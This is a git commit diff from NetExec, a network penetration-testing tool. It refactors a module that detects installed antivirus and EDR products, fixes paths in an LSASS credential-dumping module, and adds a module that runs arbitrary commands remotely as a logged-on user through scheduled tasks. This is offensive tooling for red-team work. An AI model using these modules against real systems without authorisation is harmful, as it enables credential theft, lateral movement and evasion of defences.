Merge branch 's4u' of github.com:Pennyw0rth/NetExec into s4u
commit
8521d6bf0c
|
@ -3,4 +3,4 @@
|
|||
##########################################
|
||||
|
||||
# default ownership:
|
||||
* @zblurx @Marshall-Hallenbeck @NeffIsBack
|
||||
* @zblurx @Marshall-Hallenbeck @NeffIsBack @mpgn
|
4
LICENSE
4
LICENSE
|
@ -1,5 +1,5 @@
|
|||
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx
|
||||
Copyright (c) 2022, byt3bl33d3r, mpgn_x64
|
||||
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
|
||||
Copyright (c) 2022, byt3bl33d3r
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
|
|
|
@ -2,6 +2,7 @@
|
|||
[![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
|
||||
[![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
|
||||
[![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
|
||||
[![Twitter](https://img.shields.io/twitter/follow/mpgn_x64?label=mpgn_x64&style=social)](https://twitter.com/intent/follow?screen_name=mpgn_x64)
|
||||
|
||||
|
||||
🚩 This is the open source repository of NetExec maintained by a community of passionate people
|
||||
|
|
13
nxc/cli.py
13
nxc/cli.py
|
@ -16,11 +16,14 @@ def gen_cli_args():
|
|||
CODENAME = "A New Beginning"
|
||||
|
||||
parser = argparse.ArgumentParser(description=f"""
|
||||
_ _ _ _____
|
||||
| \ | | ___ | |_ | ____| __ __ ___ ___
|
||||
| \| | / _ \ | __| | _| \ \/ / / _ \ / __|
|
||||
| |\ | | __/ | |_ | |___ > < | __/ | (__
|
||||
|_| \_| \___| \__| |_____| /_/\_\ \___| \___|
|
||||
. .
|
||||
.| |. _ _ _ _____
|
||||
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
|
||||
\\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
|
||||
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
|
||||
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
|
||||
ॱ \ / ॱ
|
||||
ॱ ॱ
|
||||
|
||||
The network execution tool
|
||||
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
|
||||
|
|
|
@ -2,11 +2,12 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
# All credit to @an0n_r0
|
||||
# project : https://github.com/tothi/serviceDetector
|
||||
# https://github.com/tothi/serviceDetector
|
||||
# Module by @mpgn_x64
|
||||
# https://twitter.com/mpgn_x64
|
||||
|
||||
from impacket.dcerpc.v5 import lsat, lsad
|
||||
from impacket.dcerpc.v5 import lsat, lsad, transport
|
||||
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
|
||||
from impacket.dcerpc.v5 import transport
|
||||
import pathlib
|
||||
|
||||
|
||||
|
@ -27,82 +28,83 @@ class NXCModule:
|
|||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
"""
|
||||
"""
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
success = 0
|
||||
target = self._get_target(connection)
|
||||
context.log.debug(f"Detecting installed services on {target} using LsarLookupNames()...")
|
||||
|
||||
results = self._detect_installed_services(context, connection, target)
|
||||
self.detect_running_processes(context, connection, results)
|
||||
|
||||
self.dump_results(results, connection.hostname, context)
|
||||
|
||||
def _get_target(self, connection):
|
||||
return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
|
||||
|
||||
def _detect_installed_services(self, context, connection, target):
|
||||
results = {}
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
context.log.debug("Detecting installed services on {} using LsarLookupNames()...".format(target))
|
||||
|
||||
try:
|
||||
lsa = LsaLookupNames(
|
||||
connection.domain,
|
||||
connection.username,
|
||||
connection.password,
|
||||
target,
|
||||
connection.kerberos,
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
connection.aesKey,
|
||||
domain=connection.domain,
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
remote_name=target,
|
||||
do_kerberos=connection.kerberos,
|
||||
kdcHost=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey
|
||||
)
|
||||
dce, rpctransport = lsa.connect()
|
||||
|
||||
dce, _ = lsa.connect()
|
||||
policyHandle = lsa.open_policy(dce)
|
||||
|
||||
for i, product in enumerate(conf["products"]):
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
try:
|
||||
lsa.LsarLookupNames(dce, policyHandle, service["name"])
|
||||
context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
|
||||
if product["name"] not in results:
|
||||
results[product["name"]] = {"services": []}
|
||||
results[product["name"]]["services"].append(service)
|
||||
except Exception as e:
|
||||
results.setdefault(product["name"], {"services": []})["services"].append(service)
|
||||
except:
|
||||
pass
|
||||
success += 1
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(str(e))
|
||||
|
||||
return results
|
||||
|
||||
def detect_running_processes(self, context, connection, results):
|
||||
context.log.info(f"Detecting running processes on {connection.host} by enumerating pipes...")
|
||||
try:
|
||||
for f in connection.conn.listPath("IPC$", "\\*"):
|
||||
fl = f.get_longname()
|
||||
for i, product in enumerate(conf["products"]):
|
||||
for product in conf["products"]:
|
||||
for pipe in product["pipes"]:
|
||||
if pathlib.PurePath(fl).match(pipe["name"]):
|
||||
context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
|
||||
if product["name"] not in results:
|
||||
results[product["name"]] = {}
|
||||
if "pipes" not in results[product["name"]]:
|
||||
results[product["name"]]["pipes"] = []
|
||||
results[product["name"]]["pipes"].append(pipe)
|
||||
success += 1
|
||||
prod_results = results.setdefault(product["name"], {})
|
||||
prod_results.setdefault("pipes", []).append(pipe)
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
|
||||
self.dump_results(results, connection.hostname, success, context)
|
||||
def dump_results(self, results, remoteName, context):
|
||||
if not results:
|
||||
context.log.highlight(f"Found NOTHING!")
|
||||
return
|
||||
|
||||
def dump_results(self, results, remoteName, success, context):
|
||||
# out1 = "On host {} found".format(remoteName)
|
||||
out1 = ""
|
||||
for item in results:
|
||||
out = out1
|
||||
if "services" in results[item]:
|
||||
out += f"{item} INSTALLED"
|
||||
if "pipes" in results[item]:
|
||||
out += " and it seems to be RUNNING"
|
||||
# else:
|
||||
# for product in conf['products']:
|
||||
# if (item == product['name']) and (len(product['pipes']) == 0):
|
||||
# out += " (NamedPipe for this service was not provided in config)"
|
||||
elif "pipes" in results[item]:
|
||||
out += f" {item} RUNNING"
|
||||
context.log.highlight(out)
|
||||
if (len(results) < 1) and (success > 1):
|
||||
out = out1 + " NOTHING!"
|
||||
context.log.highlight(out)
|
||||
for item, data in results.items():
|
||||
message = f"Found {item}"
|
||||
if "services" in data:
|
||||
message += " INSTALLED"
|
||||
if "pipes" in data:
|
||||
message += " and RUNNING"
|
||||
elif "pipes" in data:
|
||||
message += " RUNNING"
|
||||
context.log.highlight(message)
|
||||
|
||||
|
||||
class LsaLookupNames:
|
||||
|
@ -121,7 +123,7 @@ class LsaLookupNames:
|
|||
username="",
|
||||
password="",
|
||||
remote_name="",
|
||||
k=False,
|
||||
do_kerberos=False,
|
||||
kdcHost="",
|
||||
lmhash="",
|
||||
nthash="",
|
||||
|
@ -132,7 +134,7 @@ class LsaLookupNames:
|
|||
self.password = password
|
||||
self.remoteName = remote_name
|
||||
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
|
||||
self.doKerberos = k
|
||||
self.doKerberos = do_kerberos
|
||||
self.lmhash = lmhash
|
||||
self.nthash = nthash
|
||||
self.aesKey = aesKey
|
||||
|
@ -207,71 +209,56 @@ class LsaLookupNames:
|
|||
|
||||
conf = {
|
||||
"products": [
|
||||
{
|
||||
"name": "Acronis Cyber Protect Active Protection",
|
||||
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Bitdefender",
|
||||
"services": [
|
||||
{
|
||||
"name": "bdredline_agent",
|
||||
"description": "Bitdefender Agent RedLine Service",
|
||||
},
|
||||
{"name": "bdredline_agent", "description": "Bitdefender Agent RedLine Service"},
|
||||
{"name": "BDAuxSrv", "description": "Bitdefender Auxiliary Service"},
|
||||
{
|
||||
"name": "UPDATESRV",
|
||||
"description": "Bitdefender Desktop Update Service",
|
||||
},
|
||||
{"name": "UPDATESRV", "description": "Bitdefender Desktop Update Service"},
|
||||
{"name": "VSSERV", "description": "Bitdefender Virus Shield"},
|
||||
{"name": "bdredline", "description": "Bitdefender RedLine Service"},
|
||||
{"name": "EPRedline", "description": "Bitdefender Endpoint Redline Service"},
|
||||
{"name": "EPUpdateService", "description": "Bitdefender Endpoint Update Service"},
|
||||
{"name": "EPSecurityService", "description": "Bitdefender Endpoint Security Service"},
|
||||
{"name": "EPProtectedService", "description": "Bitdefender Endpoint Protected Service"},
|
||||
{"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"},
|
||||
{"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe",
|
||||
"processes": ["EPConsole.exe"],
|
||||
},
|
||||
{
|
||||
"name": "etw_sensor_pipe_ppl",
|
||||
"processes": ["EPProtectedService.exe"],
|
||||
},
|
||||
{
|
||||
"name": "local\\msgbus\\antitracker.low\\*",
|
||||
"processes": ["bdagent.exe"],
|
||||
},
|
||||
{
|
||||
"name": "local\\msgbus\\aspam.actions.low\\*",
|
||||
"processes": ["bdagent.exe"],
|
||||
},
|
||||
{
|
||||
"name": "local\\msgbus\\bd.process.broker.pipe",
|
||||
"processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"],
|
||||
},
|
||||
{"name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe", "processes": ["EPConsole.exe"]},
|
||||
{"name": "etw_sensor_pipe_ppl", "processes": ["EPProtectedService.exe"]},
|
||||
{"name": "local\\msgbus\\antitracker.low\\*", "processes": ["bdagent.exe"]},
|
||||
{"name": "local\\msgbus\\aspam.actions.low\\*", "processes": ["bdagent.exe"]},
|
||||
{"name": "local\\msgbus\\bd.process.broker.pipe", "processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"]},
|
||||
{"name": "local\\msgbus\\bdagent*", "processes": ["bdagent.exe"]},
|
||||
{
|
||||
"name": "local\\msgbus\\bdauxsrv",
|
||||
"processes": ["bdagent.exe", "bdntwrk.exe"],
|
||||
},
|
||||
],
|
||||
{"name": "local\\msgbus\\bdauxsrv", "processes": ["bdagent.exe", "bdntwrk.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Windows Defender",
|
||||
"name": "Carbon Black App Control",
|
||||
"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "CrowdStrike",
|
||||
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
|
||||
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
|
||||
},
|
||||
{
|
||||
"name": "Cybereason",
|
||||
"services": [
|
||||
{
|
||||
"name": "WinDefend",
|
||||
"description": "Windows Defender Antivirus Service",
|
||||
},
|
||||
{
|
||||
"name": "Sense",
|
||||
"description": "Windows Defender Advanced Threat Protection Service",
|
||||
},
|
||||
{
|
||||
"name": "WdNisSvc",
|
||||
"description": "Windows Defender Antivirus Network Inspection Service",
|
||||
},
|
||||
{"name": "CybereasonActiveProbe", "description": "Cybereason Active Probe"},
|
||||
{"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
|
||||
{"name": "CybereasonBlocki", "description": "Cybereason Execution Prevention"}
|
||||
],
|
||||
"pipes": [],
|
||||
"pipes": [
|
||||
{"name": "CybereasonAPConsoleMinionHostIpc_*", "processes": ["minionhost.exe"]},
|
||||
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "ESET",
|
||||
|
@ -285,269 +272,108 @@ conf = {
|
|||
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
|
||||
},
|
||||
{
|
||||
"name": "CrowdStrike",
|
||||
"name": "G DATA Security Client",
|
||||
"services": [
|
||||
{
|
||||
"name": "CSFalconService",
|
||||
"description": "CrowdStrike Falcon Sensor Service",
|
||||
}
|
||||
{"name": "AVKWCtl", "description": "Anti-virus Kit Window Control"},
|
||||
{"name": "AVKProxy", "description": "G Data AntiVirus Proxy Service"},
|
||||
{"name": "GDScan", "description": "GDSG Data AntiVirus Scan Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "CrowdStrike\\{*",
|
||||
"processes": ["CSFalconContainer.exe", "CSFalconService.exe"],
|
||||
}
|
||||
],
|
||||
},
|
||||
{
|
||||
"name": "SentinelOne",
|
||||
"services": [
|
||||
{
|
||||
"name": "SentinelAgent",
|
||||
"description": "SentinelOne Endpoint Protection Agent",
|
||||
},
|
||||
{
|
||||
"name": "SentinelStaticEngine",
|
||||
"description": "Manage static engines for SentinelOne Endpoint Protection",
|
||||
},
|
||||
{
|
||||
"name": "LogProcessorService",
|
||||
"description": "Manage logs for SentinelOne Endpoint Protection",
|
||||
},
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "SentinelAgentWorkerCert.*", "processes": [""]},
|
||||
{"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
|
||||
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]},
|
||||
],
|
||||
},
|
||||
{
|
||||
"name": "Carbon Black App Control",
|
||||
"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
|
||||
"pipes": [],
|
||||
},
|
||||
{
|
||||
"name": "Cybereason",
|
||||
"services": [
|
||||
{
|
||||
"name": "CybereasonActiveProbe",
|
||||
"description": "Cybereason Active Probe",
|
||||
},
|
||||
{"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
|
||||
{
|
||||
"name": "CybereasonBlocki",
|
||||
"description": "Cybereason Execution Prevention",
|
||||
},
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "CybereasonAPConsoleMinionHostIpc_*",
|
||||
"processes": ["minionhost.exe"],
|
||||
},
|
||||
{
|
||||
"name": "CybereasonAPServerProxyIpc_*",
|
||||
"processes": ["minionhost.exe"],
|
||||
},
|
||||
],
|
||||
{"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Kaspersky Security for Windows Server",
|
||||
"services": [
|
||||
{
|
||||
"name": "kavfsslp",
|
||||
"description": "Kaspersky Security Exploit Prevention Service",
|
||||
},
|
||||
|
||||
{
|
||||
"name": "KAVFS",
|
||||
"description": "Kaspersky Security Service",
|
||||
},
|
||||
|
||||
{
|
||||
"name": "KAVFSGT",
|
||||
"description": "Kaspersky Security Management Service",
|
||||
},
|
||||
|
||||
{
|
||||
"name": "klnagent",
|
||||
"description": "Kaspersky Security Center",
|
||||
},
|
||||
{"name": "kavfsslp", "description": "Kaspersky Security Exploit Prevention Service"},
|
||||
{"name": "KAVFS", "description": "Kaspersky Security Service"},
|
||||
{"name": "KAVFSGT", "description": "Kaspersky Security Management Service"},
|
||||
{"name": "klnagent", "description": "Kaspersky Security Center"}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "Exploit_Blocker",
|
||||
"processes": ["kavfswh.exe"],
|
||||
},
|
||||
|
||||
],
|
||||
},
|
||||
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Trend Micro Endpoint Security",
|
||||
"name": "Panda Adaptive Defense 360",
|
||||
"services": [
|
||||
{
|
||||
"name": "Trend Micro Endpoint Basecamp",
|
||||
"description": "Trend Micro Endpoint Basecamp",
|
||||
},
|
||||
|
||||
{
|
||||
"name": "TMBMServer",
|
||||
"description": "Trend Micro Unauthorized Change Prevention Service",
|
||||
},
|
||||
|
||||
{
|
||||
"name": "Trend Micro Web Service Communicator",
|
||||
"description": "Trend Micro Web Service Communicator",
|
||||
},
|
||||
|
||||
{
|
||||
"name": "TMiACAgentSvc",
|
||||
"description": "Trend Micro Application Control Service (Agent)",
|
||||
},
|
||||
{
|
||||
"name": "CETASvc",
|
||||
"description": "Trend Micro Cloud Endpoint Telemetry Service",
|
||||
},
|
||||
{
|
||||
|
||||
"name": "iVPAgent",
|
||||
"description": "Trend Micro Vulnerability Protection Service (Agent)",
|
||||
}
|
||||
{"name": "PandaAetherAgent", "description": "Panda Endpoint Agent"},
|
||||
{"name": "PSUAService", "description": "Panda Product Service"},
|
||||
{"name": "NanoServiceMain", "description": "Panda Cloud Antivirus Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "IPC_XBC_XBC_AGENT_PIPE_*",
|
||||
"processes": ["EndpointBasecamp.exe"],
|
||||
},
|
||||
{
|
||||
"name": "iacagent_*",
|
||||
"processes": ["TMiACAgentSvc.exe"],
|
||||
},
|
||||
{
|
||||
"name": "OIPC_LWCS_PIPE_*",
|
||||
"processes": ["TmListen.exe"],
|
||||
},
|
||||
{
|
||||
"name": "Log_ServerNamePipe",
|
||||
"processes": ["LogServer.exe"],
|
||||
},
|
||||
{
|
||||
"name": "OIPC_NTRTSCAN_PIPE_*",
|
||||
"processes": ["Ntrtscan.exe"],
|
||||
},
|
||||
{"name": "NNS_API_IPC_SRV_ENDPOINT", "processes": ["PSANHost.exe"]},
|
||||
{"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "SentinelOne",
|
||||
"services": [
|
||||
{"name": "SentinelAgent", "description": "SentinelOne Endpoint Protection Agent"},
|
||||
{"name": "SentinelStaticEngine", "description": "Manage static engines for SentinelOne Endpoint Protection"},
|
||||
{"name": "LogProcessorService", "description": "Manage logs for SentinelOne Endpoint Protection"}
|
||||
],
|
||||
},
|
||||
"pipes": [
|
||||
{"name": "SentinelAgentWorkerCert.*", "processes": [""]},
|
||||
{"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
|
||||
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Symantec Endpoint Protection",
|
||||
"services": [
|
||||
{
|
||||
"name": "SepMasterService",
|
||||
"description": "Symantec Endpoint Protection",
|
||||
},
|
||||
{
|
||||
"name": "SepScanService",
|
||||
"description": "Symantec Endpoint Protection Scan Services",
|
||||
},
|
||||
{"name": "SNAC", "description": "Symantec Network Access Control"},
|
||||
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
|
||||
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
|
||||
{"name": "SNAC", "description": "Symantec Network Access Control"}
|
||||
],
|
||||
"pipes": [],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Sophos Intercept X",
|
||||
"services": [
|
||||
{
|
||||
"name": "SntpService",
|
||||
"description": "Sophos Network Threat Protection"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Endpoint Defense Service",
|
||||
"description": "Sophos Endpoint Defense Service"
|
||||
},
|
||||
{
|
||||
"name": "Sophos File Scanner Service",
|
||||
"description": "Sophos File Scanner Service"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Health Service",
|
||||
"description": "Sophos Health Service"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Live Query",
|
||||
"description": "Sophos Live Query"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Managed Threat Response",
|
||||
"description": "Sophos Managed Threat Response"
|
||||
},
|
||||
{
|
||||
"name": "Sophos MCS Agent",
|
||||
"description": "Sophos MCS Agent"
|
||||
},
|
||||
{
|
||||
"name": "Sophos MCS Client",
|
||||
"description": "Sophos MCS Client"
|
||||
},
|
||||
{
|
||||
"name": "Sophos System Protection Service",
|
||||
"description": "Sophos System Protection Service"
|
||||
}
|
||||
{"name": "SntpService", "description": "Sophos Network Threat Protection"},
|
||||
{"name": "Sophos Endpoint Defense Service", "description": "Sophos Endpoint Defense Service"},
|
||||
{"name": "Sophos File Scanner Service", "description": "Sophos File Scanner Service"},
|
||||
{"name": "Sophos Health Service", "description": "Sophos Health Service"},
|
||||
{"name": "Sophos Live Query", "description": "Sophos Live Query"},
|
||||
{"name": "Sophos Managed Threat Response", "description": "Sophos Managed Threat Response"},
|
||||
{"name": "Sophos MCS Agent", "description": "Sophos MCS Agent"},
|
||||
{"name": "Sophos MCS Client", "description": "Sophos MCS Client"},
|
||||
{"name": "Sophos System Protection Service", "description": "Sophos System Protection Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "SophosUI", "processes": [""]},
|
||||
{"name": "SophosEventStore", "processes": [""]},
|
||||
{"name": "sophos_deviceencryption", "processes": [""]},
|
||||
{"name": "sophoslivequery_*", "processes": [""]},
|
||||
],
|
||||
{"name": "sophoslivequery_*", "processes": [""]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "G DATA Security Client",
|
||||
"name": "Trend Micro Endpoint Security",
|
||||
"services": [
|
||||
{
|
||||
"name": "AVKWCtl",
|
||||
"description": "Anti-virus Kit Window Control",
|
||||
},
|
||||
{
|
||||
"name": "AVKProxy",
|
||||
"description": "G Data AntiVirus Proxy Service"
|
||||
},
|
||||
{
|
||||
"name": "GDScan",
|
||||
"description": "GDSG Data AntiVirus Scan Service",
|
||||
},
|
||||
{"name": "Trend Micro Endpoint Basecamp", "description": "Trend Micro Endpoint Basecamp"},
|
||||
{"name": "TMBMServer", "description": "Trend Micro Unauthorized Change Prevention Service"},
|
||||
{"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
|
||||
{"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
|
||||
{"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
|
||||
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "exploitProtectionIPC",
|
||||
"processes": ["AVKWCtlx64.exe"],
|
||||
},
|
||||
],
|
||||
{"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
|
||||
{"name": "iacagent_*", "processes": ["TMiACAgentSvc.exe"]},
|
||||
{"name": "OIPC_LWCS_PIPE_*", "processes": ["TmListen.exe"]},
|
||||
{"name": "Log_ServerNamePipe", "processes": ["LogServer.exe"]},
|
||||
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Panda Adaptive Defense 360",
|
||||
"name": "Windows Defender",
|
||||
"services": [
|
||||
{
|
||||
"name": "PandaAetherAgent",
|
||||
"description": "Panda Endpoint Agent",
|
||||
},
|
||||
{
|
||||
"name": "PSUAService",
|
||||
"description": "Panda Product Service"
|
||||
},
|
||||
{
|
||||
"name": "NanoServiceMain",
|
||||
"description": "Panda Cloud Antivirus Service",
|
||||
},
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "NNS_API_IPC_SRV_ENDPOINT",
|
||||
"processes": ["PSANHost.exe"],
|
||||
},
|
||||
{
|
||||
"name": "PSANMSrvcPpal",
|
||||
"processes": ["PSUAService.exe"],
|
||||
},
|
||||
{"name": "WinDefend", "description": "Windows Defender Antivirus Service"},
|
||||
{"name": "Sense", "description": "Windows Defender Advanced Threat Protection Service"},
|
||||
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
|
||||
],
|
||||
"pipes": []
|
||||
}
|
||||
|
||||
]
|
||||
}
|
||||
|
|
|
@ -4,9 +4,10 @@
|
|||
# author of the module : github.com/mpgn
|
||||
# nanodump: https://github.com/helpsystems/nanodump
|
||||
|
||||
import os
|
||||
import base64
|
||||
import sys
|
||||
import pypykatz
|
||||
from pypykatz.pypykatz import pypykatz
|
||||
import tempfile
|
||||
from datetime import datetime
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
|
@ -59,7 +60,6 @@ class NXCModule:
|
|||
self.useembeded = False
|
||||
else:
|
||||
self.nano_path = f"{tempfile.gettempdir()}"
|
||||
|
||||
self.dir_result = self.nano_path
|
||||
|
||||
if "NANO_EXE_NAME" in module_options:
|
||||
|
@ -76,7 +76,7 @@ class NXCModule:
|
|||
self.connection = connection
|
||||
self.context = context
|
||||
if self.useembeded:
|
||||
with open(self.nano_path + self.nano, "wb") as nano:
|
||||
with open(os.path.join(self.nano_path, self.nano), "wb") as nano:
|
||||
if self.connection.os_arch == 32 and self.context.protocol == "smb":
|
||||
self.context.log.display("32-bit Windows detected.")
|
||||
nano.write(self.nano_embedded32)
|
||||
|
@ -90,14 +90,14 @@ class NXCModule:
|
|||
sys.exit(1)
|
||||
|
||||
if self.context.protocol == "smb":
|
||||
with open(self.nano_path + self.nano, "rb") as nano:
|
||||
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
|
||||
try:
|
||||
self.connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
|
||||
self.context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error writing file to share {self.share}: {e}")
|
||||
else:
|
||||
with open(self.nano_path + self.nano, "rb") as nano:
|
||||
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
|
||||
try:
|
||||
self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}")
|
||||
exec_method = MSSQLEXEC(self.connection.conn)
|
||||
|
@ -154,7 +154,7 @@ class NXCModule:
|
|||
|
||||
if dump:
|
||||
self.context.log.display(f"Copying {nano_log_name} to host")
|
||||
filename = f"{self.dir_result}{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"
|
||||
filename = os.path.join(self.dir_result,f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
|
||||
if self.context.protocol == "smb":
|
||||
with open(filename, "wb+") as dump_file:
|
||||
try:
|
||||
|
|
|
@ -0,0 +1,289 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
from time import sleep
|
||||
from datetime import datetime
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5 import tsch, transport
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Execute a scheduled task remotely as a already connected user by @Defte_
|
||||
Thanks @Shad0wC0ntr0ller for the idea of removing the hardcoded date that could be used as an IOC
|
||||
"""
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
CMD Command to execute
|
||||
USER User to execute command as
|
||||
"""
|
||||
|
||||
self.cmd = self.user = self.time = None
|
||||
if "CMD" in module_options:
|
||||
self.cmd = module_options["CMD"]
|
||||
|
||||
if "USER" in module_options:
|
||||
self.user = module_options["USER"]
|
||||
|
||||
name = "schtask_as"
|
||||
description = "Remotely execute a scheduled task as a logged on user"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.logger = context.log
|
||||
if self.cmd is None:
|
||||
self.logger.fail("You need to specify a CMD to run")
|
||||
return 1
|
||||
if self.user is None:
|
||||
self.logger.fail("You need to specify a USER to run the command as")
|
||||
return 1
|
||||
|
||||
self.logger.display("Connecting to the remote Service control endpoint")
|
||||
try:
|
||||
exec_method = TSCH_EXEC(
|
||||
connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
connection.smb_share_name,
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
self.user,
|
||||
self.cmd,
|
||||
connection.kerberos,
|
||||
connection.aesKey,
|
||||
connection.kdcHost,
|
||||
connection.hash,
|
||||
self.logger,
|
||||
connection.args.get_output_tries,
|
||||
"C$" # This one shouldn't be hardcoded but I don't know where to retrive the info
|
||||
)
|
||||
|
||||
self.logger.display(f"Executing {self.cmd} as {self.user}")
|
||||
output = exec_method.execute(self.cmd, True)
|
||||
|
||||
try:
|
||||
if not isinstance(output, str):
|
||||
output = output.decode(connection.args.codec)
|
||||
except UnicodeDecodeError:
|
||||
# Required to decode specific french caracters otherwise it'll print b"<result>"
|
||||
output = output.decode("cp437")
|
||||
if output:
|
||||
self.logger.highlight(output)
|
||||
|
||||
except Exception as e:
|
||||
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
|
||||
self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
|
||||
|
||||
|
||||
